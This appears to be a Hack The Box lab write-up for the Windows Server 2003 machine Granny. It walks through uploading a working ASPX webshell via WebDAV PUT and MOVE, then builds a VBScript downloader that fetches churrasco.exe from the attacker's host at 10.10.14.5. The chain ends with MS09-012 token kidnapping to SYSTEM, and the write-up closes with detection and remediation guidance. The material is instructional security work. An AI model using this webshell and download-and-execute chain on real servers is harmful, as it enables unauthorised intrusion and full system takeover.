Skip to content
Back to all posts

HTB: Granny

· 16 min easy Windows Granny

IIS 6.0 with WebDAV enabled permits unauthenticated file upload via PUT and MOVE, bypassing extension restrictions to deploy an ASPX webshell. Token kidnapping (MS09-012) escalates NETWORK SERVICE to SYSTEM on Windows Server 2003.

Overview

Granny is a companion box to Grandpa. Both run IIS 6.0 on Windows Server 2003 with identical privilege escalation paths. The critical difference is in initial access. On Grandpa, WebDAV write methods return 403 Forbidden, forcing exploitation via a buffer overflow (CVE-2017-7269). On Granny, PUT is permitted. Direct file upload via WebDAV replaces the need for a memory corruption exploit entirely.

The attack chain: upload an ASPX webshell as a .txt file via PUT, then rename it to .aspx via MOVE. IIS 6.0 manages classic ASP (.asp) and ASP.NET (.aspx) through separate ISAPI handler mappings. The root virtual directory blocks classic ASP execution, but ASP.NET is unrestricted because its handler (aspnet_isapi.dll) operates independently of the ASP handler (asp.dll). This is not a bug; it is how IIS 6.0’s architecture works. Blocking one scripting engine has no effect on the other. Once running as NETWORK SERVICE, token kidnapping via churrasco.exe (MS09-012) escalates to SYSTEM. Total time from port scan to root flag: 4 minutes.

The broader lesson is about access control as a security boundary. Granny and Grandpa are identical systems where a single configuration difference (PUT allowed vs. PUT blocked) changes the entire initial access approach. The configuration delta is one checkbox in IIS Manager.

Reconnaissance

I start with a service-version scan. The -A flag adds OS detection and traceroute, which is useful on single-port hosts where OS fingerprinting data is sparse:

nmap -sC -sV -A -T4 -oA scans/granny 10.129.95.234
PortServiceProduct / VersionNotes
80HTTPMicrosoft IIS httpd 6.0Default “Under Construction” page

A single open port. The remaining 999 ports in the default scan range are filtered (not closed), indicating a host firewall that drops packets silently rather than sending RST. This is typical of Windows Server 2003’s built-in firewall. Nmap’s default scripts include http-webdav-scan, which automatically probes for WebDAV methods:

| http-webdav-scan:
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST,
|     COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST,
|     COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

Both PUT and MOVE appear in the allowed methods list. The Public header (RFC 2068, removed in HTTP/1.1) lists methods the server supports; Allowed lists methods permitted on the specific resource. They match here, meaning no per-directory restrictions are in place. On Grandpa, these methods appear in Public but return 403 when tested, because Write access is disabled in the IIS virtual directory configuration.

ComponentVersion
Operating SystemWindows Server 2003 SP2 (5.2.3790)
Web ServerMicrosoft IIS 6.0
ExtensionsWebDAV (PUT/MOVE enabled), ASP.NET (.NET 2.0)

Attack Surface Analysis

WebDAV write access confirmation

The OPTIONS response claims PUT is allowed, but WebDAV servers frequently advertise methods they then reject based on authentication or directory settings. I verify with an actual upload:

curl -s -X PUT http://10.129.95.234/test.txt -d "hello world" \
  -o /dev/null -w "%{http_code}"
# 201

curl -s http://10.129.95.234/test.txt
# hello world

PUT returns 201 Created. The file is immediately accessible. No authentication headers were sent; WebDAV write access is anonymous.

Extension execution testing

The next question is which scripting engines execute. IIS 6.0 supports classic ASP, ASP.NET, and several other ISAPI extensions. I test ASP first because it is the default scripting engine on IIS 6.0:

curl -s -X PUT http://10.129.95.234/test.asp \
  -d '<%response.write("test")%>' -o /dev/null -w "%{http_code}"
# 201

curl -s http://10.129.95.234/test.asp -o /dev/null -w "%{http_code}"
# 403

PUT succeeds for .asp, but requesting the file returns 403 Forbidden. This means the file was written to disk but the ASP ISAPI handler (asp.dll) refuses to execute it. The 403 rather than 404 confirms the file exists; IIS is actively blocking execution, not failing to find the resource.

I then test .aspx directly:

curl -s -X PUT http://10.129.95.234/test2.aspx \
  -d '<%@ Page Language="VB" %><% Response.Write("test") %>' \
  -o /dev/null -w "%{http_code}"
# 403

Direct PUT of .aspx also returns 403. This is WebDAV’s extension filtering: IIS blocks upload of files with executable extensions. The bypass is the MOVE method. Upload as .txt (which WebDAV allows), then rename to .aspx via MOVE. The MOVE handler does not re-check the destination extension against the upload filter. This is a well-documented IIS 6.0 behaviour.

Vulnerability Analysis

The attack combines two weaknesses:

1. Unrestricted WebDAV write access with MOVE bypass (CWE-434). IIS 6.0 is configured with WebDAV enabled for anonymous users. PUT accepts unauthenticated requests for non-executable extensions. The MOVE method permits renaming files to any extension without re-validating the upload filter. The root cause is a design gap in IIS 6.0’s WebDAV implementation: upload filtering and rename filtering are independent checks, and MOVE does not invoke the upload filter.

2. MS09-012 token kidnapping (CWE-269). On Windows Server 2003, the NETWORK SERVICE account holds SeAssignPrimaryTokenPrivilege and SeImpersonatePrivilege. These privileges exist because NETWORK SERVICE needs to impersonate clients for delegation scenarios. Churrasco.exe (the public exploit for MS09-012) abuses a flaw in the Windows Local Security Authority that allows a service account with impersonation privileges to create a new process running as SYSTEM. The technique is a predecessor to the Potato family of exploits (RottenPotato, JuicyPotato, PrintSpoofer) that target the same privilege class on newer Windows versions.

AttributeValue
CVEN/A (WebDAV misconfiguration) + MS09-012
CVSS v39.8 (WebDAV), 7.8 (MS09-012)
CWECWE-434 (Unrestricted Upload), CWE-269 (Improper Privilege)
MITRE ATT&CKT1190 (Initial Access), T1134.001 (Token Impersonation)

Exploitation

ASPX webshell via PUT + MOVE

I chose a VB.NET webshell over C# for a specific reason: .NET 2.0 on Windows Server 2003 handles VB.NET inline compilation (<% %> blocks) more reliably than C# inline code. C# inline compilation sometimes fails silently on IIS 6.0 with .NET 2.0 when the compilerOptions configuration is missing from web.config. VB.NET has no such dependency.

The webshell captures both stdout and stderr, and HTML-encodes the output to prevent IIS from interpreting special characters:

cat > shell.aspx << 'EOF'
<%@ Page Language="VB" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
Dim c As String = Request("cmd")
If c <> "" Then
  Dim p As New Process()
  p.StartInfo.FileName = "cmd.exe"
  p.StartInfo.Arguments = "/c " & c
  p.StartInfo.UseShellExecute = False
  p.StartInfo.RedirectStandardOutput = True
  p.StartInfo.RedirectStandardError = True
  p.Start()
  Dim o As String = p.StandardOutput.ReadToEnd()
  o &= p.StandardError.ReadToEnd()
  p.WaitForExit()
  Response.Write("<pre>" & Server.HtmlEncode(o) & "</pre>")
End If
%>
EOF

Upload as .txt, then rename to .aspx:

curl -s -X PUT http://10.129.95.234/shell.txt \
  --data-binary @shell.aspx -o /dev/null -w "%{http_code}"
# 201

curl -s -X MOVE http://10.129.95.234/shell.txt \
  -H "Destination: http://10.129.95.234/shell.aspx" \
  -o /dev/null -w "%{http_code}"
# 201

The MOVE response of 201 confirms the rename succeeded. I verify code execution:

curl -s "http://10.129.95.234/shell.aspx?cmd=whoami"
# nt authority\network service

The webshell executes as NETWORK SERVICE. This is the default identity for the IIS 6.0 application pool (DefaultAppPool). NETWORK SERVICE has limited local privileges but holds the impersonation tokens needed for escalation.

Privilege escalation via token kidnapping

NETWORK SERVICE cannot read user profiles directly. The C:\Documents and Settings\Lakis\ and C:\Documents and Settings\Administrator\ directories have ACLs restricting access to their respective owners and Administrators. Privilege escalation is required for both flags.

First, I check which privileges the current account holds:

curl -s "http://10.129.95.234/shell.aspx?cmd=whoami+/priv"

SeAssignPrimaryTokenPrivilege and SeImpersonatePrivilege are both present. These are the two privileges churrasco.exe requires.

Windows Server 2003 lacks certutil -urlcache, bitsadmin (present but without the /transfer flag), and PowerShell. The only built-in HTTP download mechanism is the Microsoft.XMLHTTP COM object paired with ADODB.Stream for binary file writing. I construct a VBScript downloader, written line by line through the webshell because the echo command appends each line to the script:

# Write VBS downloader line by line through the webshell
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+Set+o%3DCreateObject(%22Microsoft.XMLHTTP%22)+>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+o.Open+%22GET%22,%22http://10.10.14.5:8888/churrasco.exe%22,False+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+o.Send+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+Set+s%3DCreateObject(%22ADODB.Stream%22)+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+s.Open+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+s.Type%3D1+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+s.Write+o.ResponseBody+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+s.SaveToFile+%22C:\WINDOWS\Temp\c.exe%22,2+>>+C:\WINDOWS\Temp\d.vbs"
curl -s "http://10.129.95.234/shell.aspx?cmd=echo+s.Close+>>+C:\WINDOWS\Temp\d.vbs"

# Execute the downloader
curl -s "http://10.129.95.234/shell.aspx?cmd=cscript+C:\WINDOWS\Temp\d.vbs"

I write to C:\WINDOWS\Temp\ rather than the web root because Temp is world-writable and less likely to be monitored. The web root would also work but leaves artefacts visible to anyone browsing the site.

Churrasco’s command parser splits arguments on spaces without supporting quoting. Paths containing spaces (C:\Documents and Settings) break the parser. The workaround is 8.3 short filenames, which Windows Server 2003 generates by default for all files and directories:

# User flag
curl -s "http://10.129.95.234/shell.aspx?cmd=C:\WINDOWS\Temp\c.exe+%22type+DOCUME~1\Lakis\Desktop\user.txt%22"
# [redacted]

# Root flag
curl -s "http://10.129.95.234/shell.aspx?cmd=C:\WINDOWS\Temp\c.exe+%22type+DOCUME~1\ADMINI~1\Desktop\root.txt%22"
# [redacted]

Both flags obtained. Churrasco spawns a SYSTEM-level cmd.exe that executes the type command, reading files that NETWORK SERVICE could not access.

Post-Exploitation

curl -s "http://10.129.95.234/shell.aspx?cmd=systeminfo"
OS Name:    Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790

Windows Server 2003 reached end-of-life on 14 July 2015. IIS 6.0 has accumulated hundreds of known CVEs since, including CVE-2017-7269 (a buffer overflow in the WebDAV ScStoragePathFromUrl function, disclosed March 2017, two years after EOL). The system is permanently vulnerable; Microsoft will not release further patches.

Beyond MS09-012, several other privilege escalation paths exist on this host. CVE-2014-4076 (Windows TCP/IP ioctl vulnerability) and CVE-2014-1767 (Ancillary Function Driver double-free) both affect unpatched Windows Server 2003 SP2. The token kidnapping approach was chosen because it is the most reliable: it requires no kernel interaction and works consistently across service pack levels.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190IIS logs: PUT and MOVE requests to any URI
Defence evasionT1036.008IIS logs: MOVE with Destination header containing .aspx
PersistenceT1505.003File integrity: new .aspx files in the IIS web root
ExecutionT1059.005Process: cscript.exe launching from C:\WINDOWS\Temp\
Privilege esc.T1134.001Sysmon: NETWORK SERVICE child process running as SYSTEM

IIS W3C logs: PUT and MOVE are not normal HTTP methods in most environments. Any PUT or MOVE request from an external address is a high-confidence indicator, particularly when the Destination header contains an executable extension (.aspx, .asp, .exe, .dll). The IIS default log format includes the HTTP method and URI but not request headers. Enabling the cs(Destination) field in the W3C extended log format would capture the MOVE target.

Process monitoring: cmd.exe spawned as a child of w3wp.exe (the IIS worker process) is anomalous in any environment. Legitimate web applications do not shell out to cmd.exe. An executable dropped to C:\WINDOWS\Temp\ followed by a child process running as SYSTEM is the churrasco pattern specifically. Sysmon Event ID 1 (process creation) with ParentImage containing w3wp.exe would catch this.

VBS downloader detection: cscript.exe or wscript.exe creating Microsoft.XMLHTTP and ADODB.Stream COM objects is a standard post-exploitation indicator. Windows Script Host logging (if enabled) records the script contents. On newer Windows versions, AMSI would inspect the script; Windows Server 2003 has no equivalent.

Remediation

PriorityActionEffortImpact
P0Decommission Windows Server 2003 (EOL since July 2015)HighCritical
P0Disable WebDAV in IIS or block PUT/MOVE at the perimeterLowCritical
P1If WebDAV is required, restrict to authenticated usersLowHigh
P1Block executable extensions in WebDAV upload configurationLowHigh
P2Remove token privileges from service accounts where unneededMediumMedium
P2Deploy WAF blocking WebDAV write methods from external IPsMediumMedium

The fundamental problem is the operating system. Windows Server 2003 has been unsupported for over a decade. Even disabling WebDAV and restricting network access leaves the system vulnerable to kernel exploits, TCP/IP stack vulnerabilities, and other attack vectors that will never be patched. The only defensible remediation is migration to a supported OS.

For environments where IIS 6.0 must remain temporarily (legacy application dependencies), the minimum compensating controls are: disable WebDAV entirely via the IIS Web Service Extensions panel, restrict the application pool identity to a custom low-privilege account without impersonation tokens, and isolate the host on a dedicated network segment with ingress limited to port 80 from a reverse proxy.

Key Takeaways

  1. Access control configuration is as important as software patching. Granny and Grandpa run identical software. The only difference is whether PUT is allowed. That single configuration change transforms the initial access approach from a clean file upload to a memory corruption exploit. Configuration hardening deserves the same rigour as patch management.

  2. IIS 6.0 handler mappings are independent per scripting engine. Blocking classic ASP does not block ASP.NET. They use separate ISAPI DLLs (asp.dll vs. aspnet_isapi.dll) with separate configuration. When one scripting engine is blocked, always test the others. The PUT + MOVE technique (upload as .txt, rename to .aspx) is a standard IIS 6.0 bypass that defenders should include in hardening reviews.

  3. The VBS XMLHTTP downloader is the standard legacy Windows file transfer technique. Windows Server 2003 lacks certutil -urlcache, functional bitsadmin /transfer, and PowerShell. The Microsoft.XMLHTTP + ADODB.Stream COM objects are the only built-in HTTP download mechanism. Preparing this script in advance saves significant time on legacy targets.

  4. 8.3 short filenames bypass argument parsing issues. Tools that split command arguments on spaces (like churrasco) cannot handle paths such as C:\Documents and Settings. The short names DOCUME~1 and ADMINI~1 avoid this entirely. On any Windows system older than Vista, 8.3 name generation is enabled by default. On Vista and later, it can be disabled via the NtfsDisable8dot3NameCreation registry key, so verify with dir /x before relying on short names.